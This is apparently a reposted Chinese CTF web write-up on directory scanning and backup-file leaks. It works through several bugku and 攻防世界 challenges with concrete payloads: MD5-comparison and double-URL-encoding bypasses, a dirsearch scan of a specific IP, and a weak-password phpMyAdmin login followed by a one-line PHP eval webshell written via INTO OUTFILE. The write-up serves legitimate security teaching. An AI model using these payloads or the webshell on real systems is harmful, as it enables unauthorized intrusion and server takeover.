ctf-web:后台扫描与备份泄露
后台扫描
在拿到一个网页之后除了打开 F12 和抓包以外,还可以考虑扫一下后台,所谓扫描后台就是扫描站点的目录下还有哪些页面可以访问,看一下有没有类似管理员页面、备份文件泄露和其他文件等。
御剑后台扫描
御剑后台扫描是 T00LS 大牛的作品,可以用于扫描后台,同时这也为程序开发人员增加了难度,需要对的后台目录结构进行优化。御剑的用法很简单,在左下角添加需要扫描后台的域名,然后在右上角选择使用的字典,然后设置合适的线程数和扫描速度等就可以开始扫描了。扫描结果会显示在中间,点击访问即可。
工具自带扫描的字典,同时我们也可以继续添加内容进去。
dirsearch
dirsearch 是一个简单的命令行工具,旨在暴力破解网站中的目录和文件。dirsearch 需要先安装 python3 的编译环境,然后在命令行 cd 进目录下。扫目录的命令为:
python3 dirsearch.py -u <URL> -e <EXTENSION>
有时候扫出一些御剑扫不出的文件,下载地址。
备份文件泄露
题目经常需要进行代码审计,不过有时候不会把源码直接给我们,而是要我们自己发现。备份文件就是常见的源码泄露的方式,实践中往往是开发者的疏忽而忘记删除备份文件,从而导致服务器中残留源码。我们可以通过访问这些备份文件来审计代码,一般情况下可以用后台扫描工具扫描。例如 index.php,PHP 文件常见的备份文件格式有:
index.phps index.php.swp index.php.swo index.php.php~ index.php.bak index.php.txt index.php.old
这里稍微解释下什么是 “phps” 后缀文件,phps 文件就是 php 的源代码文件。通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到php文件的内容,所以需要用 phps 文件代替。除了 PHP 备份文件,有的时候也会遇到整个站点的源码被打包成压缩文件,被放置在网站的根目录下。
例题:bugku-细心
打开网页,看到一个很精致的 404,这显然不是真正的 404 页面。
尝试 F12、抓包等手段无果后,使用御剑扫描后台,发现一个 robots.txt 文件。
该文件指示了这个页面还有个 resusl.php 文件可以访问,访问到达另一个页面。此处得到关键提示,需要我们传入参数 x,当这个参数 x 和变量 password 相等时将发生很多事情。
根据提示“想办法变成 admin”,这个应该就是 x 的值了,传过去得到 flag。
例题:bugku-Trim 的日记本
打开网页看到一个登陆页面,注意到提示说 mysql 已经炸了,接下来的思路就不往 sql 注入去想。
F12 和抓包无果后,用御剑扫描后台,成功发现 3 个可访问的网页,在其中一个网页中得到了 flag。
例题:bugku-备份是个好习惯
打开网页,显示了一段不知道有什么意义的字符串。
根据提示,应该是有个 PHP 备份文件,使用御剑扫描出一个 index.php.bak 文件。
访问该文件,成功获得备份文件中的源码。想要 flag 显示的条件是变量 key1 和 key2 的值不相同,且它们的 md5 加密结果一样,这里无论是传数组还是使用 md5 碰撞都可以。
<?php include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>
注意 str_replace 函数会把传入的变量中的 “key” 替换为空,也就是说传入的变量名为 “key1” 时,经过函数替换后变量名会变成 “1”。我们可以让变量名为 “kkeyey” 或者 “kekeyy”,这样替换之后就能够有 “key” 变量了。
/index.php?kkeyey1[]=1&kekeyy2[]=0 /index.php?kkeyey1=QNKCDZO&kekeyy2=s878926199a
例题:bugku-bugku 导航
打开网页,这是个 bugku 导航页面,在尝试 F12、抓包和御剑扫描后台后没有什么发现。
根据提示 flag 在根目录下,所以还是考虑扫描后台,这里可以选择 dirsearch 来扫描。
python ./dirsearch.py -u 123.206.87.240:9006 -e php
扫描结果如下,发现了很多敏感文件,都可以打开看看。
我们关注一个 “1.zip” 压缩包,访问后可以把它下载下来。打开压缩包后发现有个 “flag-asd.txt” 文件,打开里面什么都没有,不过在 url 上面访问这个文件就可以得到 flag。
例题:攻防世界-PHP2
打开网页,F12、抓包都没有发现什么有用的信息,御剑扫出来 index.php,不过点进去还是这个页面。
这个时候可以枚举备份文件名,看看是否有这个页面的备份文件,尝试到 “index.phps” 时成功看到源码。
<?php if("admin"===$_GET[id]) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "<p>Access granted!</p>"; echo "<p>Key: xxxxxxx </p>"; } ?>
这里就是我们很熟悉的 urlencode 二次编码绕过,根据要求构造 payload 传入得到 flag。
?id=%2561dmin
例题:攻防世界-Web_php_include
打开网页,看到一段 PHP 代码如下,观察到这段代码有 include() 函数,因此这题要考虑文件包含漏洞。strstr() 函数查找字符串首次出现的位置,然后返回字符串剩余部分。注意到这段代码使用了 strstr() 函数将传入参数中的 “php://” 全部删了,也就是说此处无法直接使用 PHP 伪协议来完成。
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
除了使用 data 伪协议以外,还可以使用后台扫描的方式来做。首先用御剑扫一下后台,会扫出一个 phpmyadmin 页面,这个页面可以连接到数据库。
打开该网页,测试使用弱口令 “root” ,密码直接不填登陆成功。
接下来在 SQL 页面输入下面的 SQL 语句查看 “secure_file_priv” 的值是否为空。运行出来这个值为空,因此我们可以往数据库中写数据。
SHOW VARIABLES LIKE "secure_file_priv"
linux 默认 tmp 是可写入目录的,试试写入一句话木马。
SELECT "<?php eval(@$_POST['attack']); ?>" INTO OUTFILE '/tmp/test.php'
使用蚁剑连接,连接成功后打开 “fl4gisisish3r3.php” 就能看到 flag。
转载自:https://www.cnblogs.com/linfangnan/p/13543040.html